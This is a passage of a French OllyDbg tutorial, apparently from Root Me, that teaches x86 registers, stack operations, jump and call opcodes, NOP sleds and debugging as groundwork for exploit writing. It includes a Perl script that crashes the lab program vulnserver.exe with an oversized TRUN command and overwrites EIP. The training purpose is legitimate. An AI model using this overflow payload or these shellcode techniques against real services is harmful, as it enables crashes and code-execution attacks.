différentes façons de faire pointer ce registre EIP vers un endroit

choisi par l’attaquant, afin que leur propre code puisse être exécuté.

Le registre ESP est connu sous le nom de pointeur de pile, et il

contient une adresse mémoire qui « pointe » vers l'emplacement actuel

sur la pile. En regardant à nouveau OllyDbg, la valeur dans ESP doit

correspondre à l'adresse de la valeur en surbrillance dans le volet de

pile dans le coin inférieur droit de la vue CPU. Voir la section

suivante pour plus de détails sur le fonctionnement de la pile.

Le registre des drapeaux est une collection de valeurs à bit unique qui

sont utilisées pour indiquer le résultat de diverses opérations. Vous

pouvez voir les valeurs des drapeaux juste en dessous du registre EIP

dans le volet supérieur droit d'OllyDbg, les désignations C, P, A, Z, S,

T, D et O et les nombres (0 ou 1) à côté d’eux montrent si chaque

drapeau particulier est activé ou désactivé. Les valeurs des indicateurs

sont principalement utilisées pour contrôler les résultats des sauts

conditionnels, qui seront discutés un peu plus loin.

Les opérations de définition des valeurs des registres remplaceront

toutes les valeurs existantes actuellement détenues. Il est cependant

possible de définir (ou d'accéder) uniquement à une partie d'une valeur

d'un registre en utilisant des sous-registres.

Page 33: Ollydbg - Bienvenue [Root Me

Si vous souhaitez plus d'informations sur ces registres et drapeaux,

ainsi que sur les sous-registres, vous pouvez vérifier ici : http://msdn.microsoft.com/enus/library/ff561502%28v=vs.85%29.aspx

Les valeurs des registres et

drapeaux dont nous avons discuté

sont situées dans le volet supérieur

droit de la vue CPU dans OllyDbg.

Dans la capture d'écran ci-contre,

le rectangle rouge le plus haut

entoure les registres et le rectangle

rouge juste en dessous entoure les

drapeaux.

La pile

La pile (stack) est une structure de mémoire spéciale qui est utilisée

pour rendre les opérations des fonctions plus efficaces. Les fonctions,

pour ceux qui ne connaissent pas les termes de programmation, sont

des sections de code qui remplissent une fonction spécifique qui peut

être appelée à partir d'un autre code. Lorsque l'opération d'une

fonction est terminée, elle remet le contrôle au code appelant, qui

devrait continuer à s'exécuter là où il s'était arrêté/détourné.

Je dis "devrait continuer à s'exécuter là où il s'est arrêté" car les

débordements de pile, l'une des vulnérabilités d'exécution de code les

plus courantes et les plus simples à exploiter, renversent en fait ce

processus pour prendre le contrôle d'un programme.

La pile est composée d'un certain nombre de valeurs de 32 bits,

empilées les unes sur les autres comme une pile d’assiettes. Il s'agit

d'une structure LIFO (Last In First Out), ce qui signifie que seule

l'entrée la plus élevée peut être consultée (ou retirée de la pile), et

Page 34: Ollydbg - Bienvenue [Root Me

toutes les nouvelles entrées ajoutées doivent être ajoutées par-dessus

celles existantes.

Par exemple, si vous souhaitez accéder à la troisième entrée de la pile

à l’aide de processus de gestion de pile, vous ne pouvez pas

simplement y aller directement ; vous devez d'abord supprimer les

deux entrées au-dessus. Le processus de lecture d'une entrée sur la pile

implique également généralement sa suppression de la pile.

La pile occupe une section définie de l'espace mémoire et croît vers le

bas, vers des adresses plus petites en mémoire à partir de son adresse

de base.

Par exemple :

Si l'adresse de base de la pile était : 2222FFFF, l'entrée de pile

inférieure serait à l'adresse 2222FFFC, l'entrée suivante serait à

2222FFF8, la suivante à 2222FFF4 et ainsi de suite.

L'entrée supérieure de la pile, celle qui est accessible, est pointée par

le registre de pointeur de pile, ESP.

Au fur et à mesure que des opérations de pile sont effectuées, telles

que l'ajout ou la suppression d'entrées, le registre ESP sera

automatiquement mis à jour pour refléter ces changements, la valeur

du registre devenant plus petite si de nouvelles entrées sont ajoutées,

ou plus grande si des entrées sont supprimées (rappelez-vous que la

pile s'agrandit vers le bas - vers des adresses plus petites.)

De la même manière, la modification de la valeur du registre ESP par

d'autres moyens (par exemple en le définissant directement) modifiera

également la position actuelle sur la pile.

La pile est utilisée pour contenir beaucoup de choses intéressantes, y

compris les variables locales des fonctions, les adresses de retour

auxquelles les fonctions doivent retourner une fois qu'elles sont

terminées ainsi que certaines adresses de gestion des exceptions.

Dans OllyDbg, une représentation des données de la pile est affichée

dans le volet inférieur droit de la vue CPU.

Page 35: Ollydbg - Bienvenue [Root Me

Chaque ligne dans la section représente une entrée sur la pile.

Instructions de l’Assembleur

Maintenant que nous sommes à 10 000 mètres au-dessus des registres

et de la pile, nous pouvons examiner certaines des instructions dans le

langage assembleur qui peuvent être utilisées pour les manipuler. Il y

a un grand nombre de ces instructions, mais je ne vais me concentrer

que sur quelques-unes, celles qu’exploitent un modificateur de

logicielle et doivent être absolument connues. Ces instructions

particulières peuvent ne pas suffire pour toutes vos activités de

modification logicielle, mais j'ai trouvé qu'elles sont les plus

couramment utilisées, elles sont donc un excellent point de départ.

Quelque chose à noter à propos de ces instructions est que chaque

instruction a un opcode équivalent, et lorsqu'il existe différentes

variantes d'une instruction, elle aura un opcode différent pour

permettre au CPU de les différencier. Si vous regardez dans la

deuxième colonne du volet désassembleur de la vue CPU dans

OllyDbg, vous verrez les opcodes pour chaque instruction en cours

d'exécution.

Je couvrirai les instructions suivantes dans cette section :

• JMP

• CALL

• POP

• PUSH

• RETN

• INT3

Page 36: Ollydbg - Bienvenue [Root Me

• NOP

JMP (Jump : Saut)

Par défaut, le CPU exécute ses instructions les unes après les autres,

en commençant par la première instruction, puis en poursuivant par la

seconde, etc., du haut vers les bas. Un JMP est l'une des nombreuses

instructions qui indiquent au CPU de se déplacer vers un autre

emplacement dans le code et de continuer son exécution à partir de là.

Il existe différents types d'instructions JMP, certaines qui « sautent »

d'une distance en arrière ou en avant (par rapport à l'emplacement

actuel dans la mémoire), et d'autres qui sautent vers des emplacements

absolus en mémoire (quel que soit l'endroit où le code en cours

d'exécution est situé). Il existe également des instructions de saut

conditionnel (appelées instructions Jcc dans de nombreuses références

d'instructions). Ceux-ci ne sautent à un autre emplacement que si une

certaine condition est remplie, généralement déterminée en fonction

de la valeur d'un ou plusieurs drapeaux qui sont définis par diverses

autres instructions. Ces instructions de saut conditionnel commencent

toutes par la lettre J, et certains exemples sont JE (saut si égal), JNZ

(saut si pas zéro) et JB (saut si En-dessous). Tous les sauts

conditionnels sont des sauts relatifs et ceux-ci sont généralement

utilisés pour effectuer des branchements au sein de programmes, par

ex. le code s'exécute d'une manière si une certaine condition est vraie,

ou d'une manière différente si elle ne l'est pas.

L'une des instructions JMP les plus courantes utilisées dans la

modification de code est le saut court. L'instruction d'assemblage pour

ce type de JMP est normalement écrite avec une adresse mémoire

absolue suivant le "JMP SHORT" ; cependant, la valeur de l'opcode

n'est pas spécifiée en termes absolus, mais plutôt comme une valeur

relative à l'adresse de la prochaine instruction en mémoire. (Veuillez

noter que je précède toutes les valeurs d'opcode dans ce tutoriel avec «

\ x » pour les désigner comme hexadécimales).

\xEB\x08 JMP SHORT [Address of the Next Instruction + 8]

L'opcode d’un saut court JMP est « \ xEB » suivi d'une valeur d'un

seul octet qui contrôle la distance du saut, qui est effectuée par rapport

Page 37: Ollydbg - Bienvenue [Root Me

au début de la prochaine instruction en mémoire. L'exemple ci-dessus

va avancer de 8 octets. Nous pouvons remplacer n'importe quelle

valeur hexadécimale par « \ x7F » pour permettre de sauter jusqu'à

127 octets par rapport à l'adresse de l'instruction suivante.

Nous pouvons également utiliser l'instruction de saut court pour sauter

en arrière à partir de notre position actuelle, en utilisant les valeurs ci-

dessus « \ x7F ». Nous comptons essentiellement de « \ xFF » à « \

x80 » afin de sauter jusqu'à 128 octets en arrière, par rapport à

l'adresse de la prochaine instruction. L'utilisation d'une valeur de « \

xFF » fait reculer d'un octet, « \ xFE » recule de deux octets, « \ xFD

» de trois octets et ainsi de suite. N'oubliez pas que le saut est relatif à

l'adresse de la prochaine instruction en mémoire, donc l'utilisation

d'une instruction « \ xEB \ xFE » repassera au début de sa propre

instruction, créant une boucle.

Les sauts peuvent également être effectués directement aux

emplacements détenus par divers registres, tels que ceux indiqués ci-

dessous

\xFF\xE0 JMP EAX

\xFF\xE1 JMP ECX

\xFF\xE2 JMP EDX

\xFF\xE3 JMP EBX

\xFF\xE4 JMP ESP

\xFF\xE5 JMP EBP

\xFF\xE6 JMP ESI

\xFF\xE7 JMP EDI

Si l'une de ces instructions de saut est utilisée, l'exécution sautera à

l'adresse mémoire spécifiée par la valeur du registre donné. Ainsi, si

vous exécutez une instruction de JMP EAX et que le registre EAX

contient la valeur 00401130, l'exécution passera aux instructions

situées en mémoire à l'adresse 00401130.

Il existe un certain nombre d'autres instructions de saut que vous

pouvez utiliser, que vous pouvez découvrir en vous référant à une

référence de jeu d'instructions, comme celle liée à la fin de cette

section. La principale chose à retenir à propos de l'instruction JMP est

qu'elle vous permet de rediriger l'exécution du code.

Page 38: Ollydbg - Bienvenue [Root Me

CALL (Appel)

Une instruction CALL est utilisée pour appeler une procédure.

Lorsqu'un appel est effectué, l'exécution saute à une adresse donnée en

mémoire, le code commençant à cet emplacement est exécuté jusqu'à

ce qu'une instruction RETN soit atteinte, puis l'exécution doit revenir

à l'instruction en mémoire immédiatement après l'instruction CALL

initiale. La possibilité de revenir à l'emplacement de l'instruction

CALL initiale est obtenue en utilisant la pile pour stocker l'adresse où

l'exécution de code doit retourner une fois que l'instruction RETN est

atteinte. Étant donné que cette « adresse de retour » est stockée sur la

pile, elle est dans un emplacement idéal pour être écrasée par un

débordement de pile (mais c'est un sujet pour une autre fois). Pour

l'instant, vous pouvez oublier ce qui se passe lorsque vous revenez

(RETN) à partir de l'instruction CALL, et vous concentrer

uniquement sur le fait que, comme JMP, CALL est une autre

instruction que nous pouvons utiliser pour rediriger le chemin

d'exécution du code du CPU.

Comme pour l'instruction JMP, il existe différents types d'instructions

CALL, mais les plus intéressantes de notre point de vue sont celles

qui redirigent l'exécution vers un emplacement spécifié par un registre

CPU. Voici quelques exemples :

\xFF\xD0 CALL EAX

\xFF\xD1 CALL ECX

\xFF\xD2 CALL EDX

\xFF\xD3 CALL EBX

\xFF\xD4 CALL ESP

\xFF\xD5 CALL EBP

\xFF\xD6 CALL ESI

\xFF\xD7 CALL EDI

Comme avec les instructions JMP discutées précédemment, une

instruction CALL EAX redirigera l'exécution du code vers l'adresse

mémoire détenue par le registre EAX. L'utilisation de CALL peut

également être un moyen intelligent de connaître votre position

actuelle dans la mémoire lors de l'écriture du shellcode, car l'adresse

de la prochaine instruction sera automatiquement ajoutée en haut de la

pile lors de l'exécution de l'instruction CALL.

Page 39: Ollydbg - Bienvenue [Root Me

POP

L'instruction POP fonctionne avec la pile et vous permet de « faire

sauter » l'entrée du haut de la pile et de la placer à l'emplacement

spécifié par l'opérande fourni, qui sera soit un registre, soit un

emplacement mémoire. L'instruction POP, ainsi que son instruction

complémentaire PUSH nous sont incroyablement utiles en tant

qu'écrivains d'exploit, car elles nous permettent de manipuler la pile et

de déplacer diverses valeurs dans la mémoire.

Quelques exemples de commandes POP utiles sont :

\x58 POP EAX

\x59 POP ECX

\x5A POP EDX

\x5B POP EBX

\x5C POP ESP

\x5D POP EBP

\x5E POP ESI

\x5F POP EDI

L'exécution d'une instruction telle que POP EAX supprimera la valeur

du haut de la pile et la placera dans le registre EAX. La position

actuelle sur la pile sera ajustée en ajoutant 4 octets à la valeur du

registre ESP. (Comme indiqué précédemment dans la section sur la

pile, la pile croît vers le bas, ce qui rend la valeur de ESP plus grande

rend la pile plus petite)

PUSH

L'instruction complémentaire de POP est PUSH, qui ajoute de

nouvelles entrées à la pile. Comme avec POP, le premier opérande

peut être une adresse mémoire ou un registre, et la valeur de cet

emplacement sera poussée sur la pile. Certaines commandes POP

utiles sont.

\x50 PUSH EAX

\x51 PUSH ECX

\x52 PUSH EDX

\x53 PUSH EBX

Page 40: Ollydbg - Bienvenue [Root Me

\x54 PUSH ESP

\x55 PUSH EBP

\x56 PUSH ESI

\x57 PUSH EDI

POP EAX prendra la valeur d'EAX et la mettra sur la pile, réduisant

automatiquement la valeur du registre ESP de quatre octets dans le

processus.

RETN (Return – Renvois)

Parfois écrite comme RET, cette instruction prend la valeur la plus

élevée de la pile, l'interprète comme une adresse mémoire et redirige

l'exécution du code vers cet emplacement. Facile. Un opérande

facultatif peut être utilisé pour libérer des octets supplémentaires de la

pile en modifiant la valeur du registre ESP lorsque l'instruction est

exécutée. RETN est souvent utilisé en combinaison avec la

commande CALL.

\xC3 RETN

Imaginez ce que vous pourriez faire si vous pouviez modifier l'adresse

de retour sur la pile avant l'exécution de l'instruction RETN dans un

programme …

INT3

Une instruction INT3 trouvée dans le code provoque une pause

d'exécution lorsqu'elle est exécutée dans le débogueur - c'est

l'équivalent de l'instruction d'assemblage de définir un point d'arrêt

dans le débogueur (voir la section suivante pour plus de détails sur ce

qu'est un point d'arrêt).

\xCC INT3

L'utilisation de ces caractères dans les données que vous envoyez à

une application est un excellent moyen de suspendre l'exécution

pendant le processus de création d'une modification logicielle. S'il est

placé à un emplacement où vous prévoyez que l'exécution sera

Page 41: Ollydbg - Bienvenue [Root Me

redirigée, il vous permettra de confirmer que la redirection se produit

comme prévu, ou s'il est placé immédiatement avant le shellcode, il

vous donnera l'occasion d'examiner que le shellcode n'a pas été

modifié avant lui est exécuté. Considérez-le comme vous offrant un

niveau de contrôle supplémentaire qui peut aider à identifier et

résoudre les problèmes pendant le processus de développement de

l'exploit. Une fois ces problèmes résolus, les points d'arrêt peuvent

bien sûr être supprimés.

Vous pouvez voir un exemple d'utilisation de l'instruction INT3 dans

la prochaine section sur l'édition de code dans le débogueur.

NOP (No Operation)

NOP signifie No Operation, et est fondamentalement une instruction

qui ne fait rien.

\x90 NOP

Quel est donc l'intérêt d'une instruction qui ne fait rien ? Eh bien, en

tant que modificateur de logicielle, nous pouvons utiliser le fait que

cette instruction prend de la place et ne changera pas les valeurs de

registre ou la pile de plusieurs façons.

L'utilisation la plus courante de l'instruction NOP est le NOP de

glissement (NOPslide ou parfois NOPsled). Lorsque vous avez la

possibilité de rediriger l'exécution de code, mais que vous ne

connaissez que la zone générale dans laquelle vous vous retrouverez,

vous pouvez coller une série de NOP dans cette zone sur laquelle

atterrira l'exécution de votre code. Chaque instruction NOP

consécutive depuis le point d'atterrissage sera exécutée jusqu'à la fin

du groupe (Slide). À ce stade, tout shellcode placé à la fin de la liste

finira par être exécuté.

Une autre utilisation des instructions NOP est de fournir une zone

tampon en mémoire pour certains types de shellcode. Certains

shellcode, en particulier les shellcode encodés, peuvent nécessiter un

espace de travail en mémoire pour fonctionner correctement. Un

nombre suffisant d'instructions NOP, placées au bon endroit dans les

Page 42: Ollydbg - Bienvenue [Root Me

données envoyées par votre exploit, peuvent fournir cet espace de

travail.

Une chose importante à garder à l'esprit ici est que certaines autres

instructions peuvent être utilisées pour remplacer le NOP traditionnel

lorsque l'instruction NOP elle-même n'est pas appropriée. Par

exemple, lorsque le filtrage de caractères empêche l'envoi de l'octet « \

x90 », ou lorsque les opcodes utilisés pour l'instruction doivent

également pouvoir être interprétés comme une adresse mémoire dans

une certaine plage interdite.

Dans ce cas, toute instruction qui correspond aux critères appropriés

pour l'exploit et ne modifie pas une valeur de registre ou la pile d'une

manière qui pourrait briser le futur shellcode peut être utilisée.

Trouver ces types d'instructions sera une question d'identifier quels

octets particuliers peuvent être utilisés compte tenu des exigences de

modification logicielle, puis de déterminer quelles instructions les

octets donnés peuvent être utilisés pour créer, tout en considérant

l'effet que ces instructions peuvent avoir sur la pile et registres

importants.

C'est là qu'une référence au jeu d'instructions et la capacité d'OllyDbg

à désassembler votre propre code (voir la section sur l'édition du code,

de la mémoire et des registres) peuvent être utiles.

Pour plus d'informations sur les instructions disponibles dans

l'assembleur X86, vous pouvez visiter la page suivante pour obtenir un

manuel de référence du jeu d'instructions : Ici.

Méthode/Guide d'exécution de code dans

Ollydbg

Lorsque vous écrivez une modification logicielle, vous devrez être en

mesure d'exécuter le code dans votre application cible de différentes

manières, pour vous donner la quantité de contrôle appropriée pour

surveiller le code et la mémoire de près en cas de besoin. Vous

voudrez peut-être exécuter normalement à un moment donné,

Page 43: Ollydbg - Bienvenue [Root Me

parcourir pas à pas chaque instruction individuelle à un autre, et

parfois la faire exécuter rapidement à un point particulier, vous

permettant de prendre le contrôle une fois ce point atteint.

Heureusement, tout cela est possible via l'utilisation d'un débogueur

en utilisant des points d'arrêt ainsi que les différentes méthodes pour

parcourir ce code.

Step in, Step over (Allez dans, Passer dessus)

Commençons par apprendre à parcourir le code. Si vous ne l'avez pas

déjà fait, démarrez OllyDbg et ouvrez l’exécutable à debugger.

L'exécution devrait s'arrêter automatiquement au point d'entrée du

programme. Dans le volet supérieur gauche de la vue CPU, vous

devriez voir l'instruction « PUSH EBP » mise en évidence.

Prenez note de l'entrée

supérieure de la pile

(volet inférieur droit)

Ainsi que de la valeur

des registres ESP et

EBP (dans le volet

supérieur droit)

Puis appuyez sur la touche F8, ou sur une seule fois.

Page 44: Ollydbg - Bienvenue [Root Me

La touche F8 est une touche de raccourci pour l'opération « Pas à pas

», qui vous permet de faire avancer d’une instruction, sans suivre

aucun appel de fonction.

L'importance de cela deviendra claire dans un instant, mais pour

l'instant, vous devriez avoir remarqué que depuis l'exécution de cette

instruction PUSH EBP, la valeur détenue par EBP a été ajoutée en

haut de la pile et la valeur du registre ESP a diminué par quatre.

(22FF8C – 4 = 22FF88)

De plus, l'instruction qui suit "PUSH EBP" dans le volet supérieur

gauche, à savoir "MOV EBP, ESP", devrait maintenant être mise en

surbrillance, et deux registres, ESP et EIP ont leurs valeurs surlignées

en rouge pour indiquer qu'elles ont changé.

Prenez note des valeurs des registres EBP et ESP et appuyez de

nouveau sur F8. Le registre EBP changera pour correspondre à celui

du registre ESP, et les valeurs des registres EBP et EIP seront

surlignées en rouge. Ce que cette surbrillance rouge des valeurs

indique, c'est que cette valeur particulière a changé au cours de la

dernière opération.

Appuyez deux fois sur F8 jusqu'à ce que l'instruction « CALL

DWORD PTR DS: [<& msvcrt .__ set_app_type>] » soit mise en

surbrillance.

Appuyez à nouveau sur F8 et l'exécution devrait passer à l'instruction

suivante de « CALL vulnserv.00401020 ».

Page 45: Ollydbg - Bienvenue [Root Me

Que s'est-il passé ici ? Nous venons d'exécuter une instruction CALL,

qui est destinée à être utilisée pour rediriger temporairement

l'exécution de code vers un autre emplacement dans l'espace mémoire

du programme, mais le débogueur ne s'est pas déplacé vers cette

nouvelle section de code, comme nous aurions pu nous y attendre.

Ce qui s'est réellement passé ici, c'est que la touche F8 ou "Step over",

en fait "a enjambé" cette instruction CALL. Il a exécuté le code

spécifié par cette instruction CALL et a suspendu le programme dans

le débogueur une fois de plus après qu'il a été fait et l'exécution est

revenue à l'instruction immédiatement après l'appel.

Alors, que faisons-nous si nous voulons réellement suivre le

débogueur dans le code spécifié par l'une de ces instructions CALL ?

Nous utilisons la commande "Step into", qui utilise F7 ou comme

touche de raccourci.

Utilisez la touche F7 maintenant, avec votre débogueur sélectionnant

l'instruction "CALL vulnserv.00401020", et voyez ce qui se passe.

Le débogueur suivra les instructions dans vulnserver à l'adresse de

mémoire 00401020, puis s'arrêtera.

Vous pouvez maintenant suivre le code référencé par cette instruction

CALL.

Ainsi, la différence entre les commandes "Step over" et "Step into" est

qu’avec l'une on passe par-dessus les instructions CALL (ce qui vous

évite d'avoir à parcourir le code si vous ne le souhaitez pas) et l’autre

permet d’aller et de visualiser le code ’CALLed’ appeler.

Page 46: Ollydbg - Bienvenue [Root Me

D'où je viens ? Révéler l’historique

OllyDbg conserve un historique des 1000 dernières commandes qui

ont été affichées dans la fenêtre CPU, donc si vous êtes entré dans une

instruction CALL, ou avez suivi un JMP et que vous souhaitez vous

rappeler l'emplacement du code précédent, vous pouvez utiliser le plus

(+) et les touches moins (-) pour naviguer dans l'historique. Essayez la

touche moins maintenant, la vue CPU devrait alors afficher

l'instruction CALL que vous venez d'exécuter. Utilisez la touche plus

pour revenir à l'instruction en cours.

Notez que cette petite astuce vous permet uniquement de visualiser les

instructions qui ont été réellement affichées et suivies dans le

débogueur. Vous ne pouvez pas laisser le programme s’exécuter,

générer un plantage, puis utiliser la touche moins pour vérifier les

instructions juste avant le plantage, ni laisser votre programme

s’exécuter jusqu’à ce qu’il atteigne un point d’arrêt, puis prendre du

recul. Si ce type de fonctionnalité vous intéresse, vous pouvez utiliser

les capacités Run trace d'OllyDbg, que je couvrirai plus loin dans cette

section.

Animation

Si vous souhaitez parcourir votre code de manière contrôlée, mais que

vous n'aimez pas avoir à marteler rapidement les boutons F7 et/ou F8,

vous pouvez profiter des capacités d'animation d'OllyDbg.

Appuyez sur Ctrl-F7 pour l'animation "Step into" et Ctrl-F8 pour

l'animation "Step out".

Cela exécutera le code rapidement, vous permettant de faire une pause

en appuyant sur la touche Échap.

Vous pouvez ensuite utiliser les touches plus (+) et moins (-) pour

parcourir l'historique de votre session animée. Essayez d'appuyer sur

Page 47: Ollydbg - Bienvenue [Root Me

Ctrl-F7 maintenant pour faire une séquence d'animation, puis

appuyez sur Échap pour terminer.

Utilisez maintenant les touches plus (+) et moins (-) pour parcourir un

peu votre historique d'exécution, jusqu'à ce que vous soyez à l'aise

avec la façon dont cela fonctionne.

Définition de points d'arrêt

Jusqu'à présent, nous avons utilisé des contrôles plus ou moins manuel

sur la façon dont le programme est exécuté, nous devons soit valider

chaque instruction à l'avance, soit laisser les instructions s'exécuter de

manière semi-automatisée en appuyant sur Esc (au bon moment)

lorsque nous voulons que le programme s'arrête.

Et si nous voulons arrêter le programme à un moment particulier au

milieu de son exécution ?

La méthode pas à pas sera trop lente (il y a beaucoup d'instructions

même dans le programme le plus simple), et la méthode d'animation

sera trop imprécise.

Eh bien, pour nous permettre de nous arrêter à un point de notre choix,

nous pouvons utiliser des points d'arrêt (Break Point), qui sont

essentiellement des marqueurs sur des instructions particulières dans

le code qui indiquent au débogueur de suspendre l'exécution

lorsqu'une de ces instructions sont sur le point d'être exécutée par le

CPU.

Essayons d'en définir un maintenant. Tout d'abord, utilisez l'option du

menu View → Executable modules ou sur pour afficher une liste

des modules exécutables chargés avec l’exécutable.

Double-cliquez sur l'entrée vulnserv pour ouvrir cette vue dans la

fenêtre CPU (nous le faisons car il est possible que notre précédente

session d'animation ait mis en avant un autre module).

Page 48: Ollydbg - Bienvenue [Root Me

Maintenant, faites un clic droit dans le volet supérieur gauche de la

vue CPU et sélectionnez Search for → All referenced text strings

(Rechercher → Toutes les chaînes de texte référencées).

Double-cliquez sur l'entrée dont le texte est « Welcome to

Vulnerable Server! Enter HELP for help. " pour accéder aux

instructions associées dans la vue CPU (voir l'entrée sélectionnée dans

la capture d'écran ci-dessus).

Maintenant, avec cette instruction mise en évidence dans la vue CPU :

Appuyez sur la touche F2, qui est utilisée pour définir et effacer les

points d'arrêt.

Si vous ouvrez l'option de menu

View → Breakpoints ou appuyez

Page 49: Ollydbg - Bienvenue [Root Me

sur Alt-B : ou si vous cliquez sur

le

Vous devriez maintenant voire également votre point d'arrêt répertorié

dans la vue Breakpoints (Points d'arrêt).

Vous noterez que l'adresse mémoire de cette instruction sera surlignée

en rouge dans le volet supérieur gauche de la vue CPU.

Donc, un point d'arrêt a été défini, voyons maintenant comment nous

pouvons le déclencher, ainsi que comment laisser le code s'exécuter

normalement dans le débogueur.

Remarque : Lorsque vous atteignez le point d’arrêt dans le

programme où vous insérez votre propre code dans le programme (par

exemple lorsque vous utilisez le shellcode dans une modification de

code que vous écrivez, ou même lorsque vous écrivez votre propre

shellcode), vous pouvez également utiliser l'opcode "\XCC" pour

insérer vos propres points d'arrêt directement dans le code. Nous

verrons comment cela est utilisé plus en détail dans une section

ultérieure.

Exécuter le code

Pour permettre au code de s'exécuter dans le débogueur, appuyez sur

la touche F9 ou Exécuter ou sur le bouton .

Le programme s'exécutera désormais essentiellement normalement,

jusqu'à ce qu'un point d'arrêt soit atteint ou qu'une exception se

produise. (À vrai dire, vous pouvez également suspendre

manuellement le programme dans le débogueur, mais cela n'est

souvent pas particulièrement utile.)

Page 50: Ollydbg - Bienvenue [Root Me

En règle générale, lorsque vous souhaitez interagir avec un

programme d'une manière normale pendant que vous le déboguez, par

exemple si vous souhaitez envoyer des données à un programme pour

provoquer une exception, l'option Exécuter F9 est ce que vous devez

utiliser pour autoriser cela à se produire.

Maintenant que notre programme fonctionne normalement dans le

débogueur, essayons de déclencher notre point d'arrêt. Dans ce cas,

nous avons défini un point d'arrêt sur l'instruction qui fait référence à

un bloc de texte qui est affiché par le programme en réponse à une

connexion d'un client, donc pour atteindre le point d'arrêt, nous

devons initier une connexion client. Puisque nous sommes

actuellement en mode Exécution, le programme fonctionnera

normalement dans le débogueur jusqu'à ce que le code référencé par le

point d'arrêt soit sur le point d'être exécuté.

Enregistrez ce qui suit dans un fichier script Perl basicclient.pl.

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORT\n\n");

}

$socket = IO::Socket::INET->new( # setup TCP socket –

$socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP

Address

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from

$socket, store in $sd

print $sd;

Personnellement j’utilise l’éditeur gratuit de Microsoft, Visual

Studio Code, voir Ici :

Page 51: Ollydbg - Bienvenue [Root Me

Maintenant, exécutez le script, en fournissant au script l'adresse IP

locale appropriée et le numéro de port TCP pour vulnserver.exe

comme indiqué ci-dessous (Local IP 127.0.0.1 et Port 9999).

C:\Work>perl basicclient.pl 127.0.0.1 9999

Dans un PowerShell :

La fenêtre de vulnserver :

Votre code devrait maintenant s'arrêter à votre point d'arrêt configuré,

vous permettant de reprendre le contrôle de l'exécution, afin que vous

puissiez parcourir le futur code.

Appuyez à nouveau sur F2 pour effacer le point d'arrêt, puis sur F9

pour redémarrer le programme.

Page 52: Ollydbg - Bienvenue [Root Me

J'ai mentionné au début de cette section qu'un programme autorisé à

s'exécuter ne s'arrêterait que lorsqu'un point d'arrêt est atteint ou

qu'une exception se produit. Essayons ensuite de provoquer une

exception, pour voir comment le programme réagit.

Débogage exceptionnel

Lorsqu'une exception se produit dans un programme en cours

d'exécution dans un débogueur, le débogueur arrête l'exécution et vous

permet d'afficher l'état du processeur et de la mémoire à l'intérieur du

programme au moment où l'exception s'est produite.

C'est exactement le genre d'informations dont nous avons besoin pour

voir si nous voulons pouvoir écrire une modification de code fiable

pour tester la vulnérabilité du programme.

Pour déclencher une exception, je vais utiliser une vulnérabilité dans

vulnserver.exe. Si vous souhaitez découvrir comment la vulnérabilité

a été découverte, vous pouvez visiter les liens suivants :

http://resources.infosecinstitute.com/intro-to-fuzzing/

http://resources.infosecinstitute.com/fuzzer-automation-with-spike/

Le code suivant provoquera une exception dans vulnserver.exe.

Enregistrer-le dans un fichier perl trun.pl

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORT\n\n");

}

$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."

$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters to $baddata

$socket = IO::Socket::INET->new( # setup TCP socket – $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($baddata); # send $baddata variable via $socket

Page 53: Ollydbg - Bienvenue [Root Me

Exécutez le script comme suit (assurez-vous de fournir l'adresse IP et

le numéro de port corrects si vous ne l'exécutez pas à partir du même

hôte exécutant vulnserver.exe).

C:\Work>perl trun.pl 127.0.0.1 9999

Dans un PowerShell :

Le programme affiche :

Si tout se passe comme prévu, votre débogueur devrait s'arrêter,

l'écran ressemblant à la capture d'écran ci-dessous.

Si cela ne fonctionne pas, redémarrez vulnserver.exe dans le

débogueur (option de menu Debug → Restart), appuyez sur F9 pour

laisser le programme s'exécuter et réessayez.

Page 54: Ollydbg - Bienvenue [Root Me

Le texte dans le coin inférieur gauche de l'écran montre ce qui suit.

Et les valeurs de registre sont les suivantes. Notez la valeur du registre

EIP.

Voici comment le débogueur se comportera lorsqu'une exception se

produira. Vous remarquerez que vous pouvez voir les valeurs de

registre du processeur, ainsi que les données de pile et de mémoire,

telles qu'elles apparaissent au moment de l'accident. Cependant, vous

ne pouvez pas voir les instructions que le processeur tentait d'exécuter,

car le pointeur d'instruction (EIP) pointe vers une adresse mémoire qui

ne semble contenir aucun code (41414141). Hummmmm….

À ce stade, vous pouvez utiliser Shift + F7 / F8 / F9 pour transmettre

l'exception au programme à gérer, mais ne le faisons pas pour le

moment (nous allons essayer cela dans une prochaine section

consacrée à la chaîne SEH).

Exécutez le traçage pour trouver la cause d'une

exception

Page 55: Ollydbg - Bienvenue [Root Me

Nous avons maintenant vu à quoi ressemble une exception lorsqu'elle

est frappée dans un débogueur, mais nous n'avons toujours pas vu

comment identifier la section particulière de code où l'exception se

produit. Pour ce faire, nous pouvons utiliser la fonctionnalité Run

trace d'OllyDbg.

Le suivi de l'exécution nous permet essentiellement de consigner les

instructions exécutées par le débogueur, de sorte que lorsqu'un

événement tel qu'une exception se produit, nous ayons un historique

des commandes que nous pouvons parcourir pour découvrir comment

cela s'est produit.

Bien que ce soit sans aucun doute une excellente fonctionnalité, il y a

quelques mises en garde à utiliser - principalement qu'il est beaucoup

plus lent que d'exécuter du code normalement et qu'il peut utiliser

beaucoup de mémoire si vous le laissez fonctionner trop longtemps.

Par conséquent, si nous voulons utiliser Run trace pour identifier

efficacement la cause d'une exception, nous devons essayer d'obtenir

l'exécution du code aussi près que possible du plantage avant de

l'activer.

Voyons si nous pouvons utiliser Run trace pour trouver le code qui

mène à l'exception examinée dans la section précédente.

En examinant le script trun.pl que nous avons utilisé pour créer

l'exception, nous constatons que les données que nous envoyons à

l'application sont une chaîne commençant par le texte «TRUN».

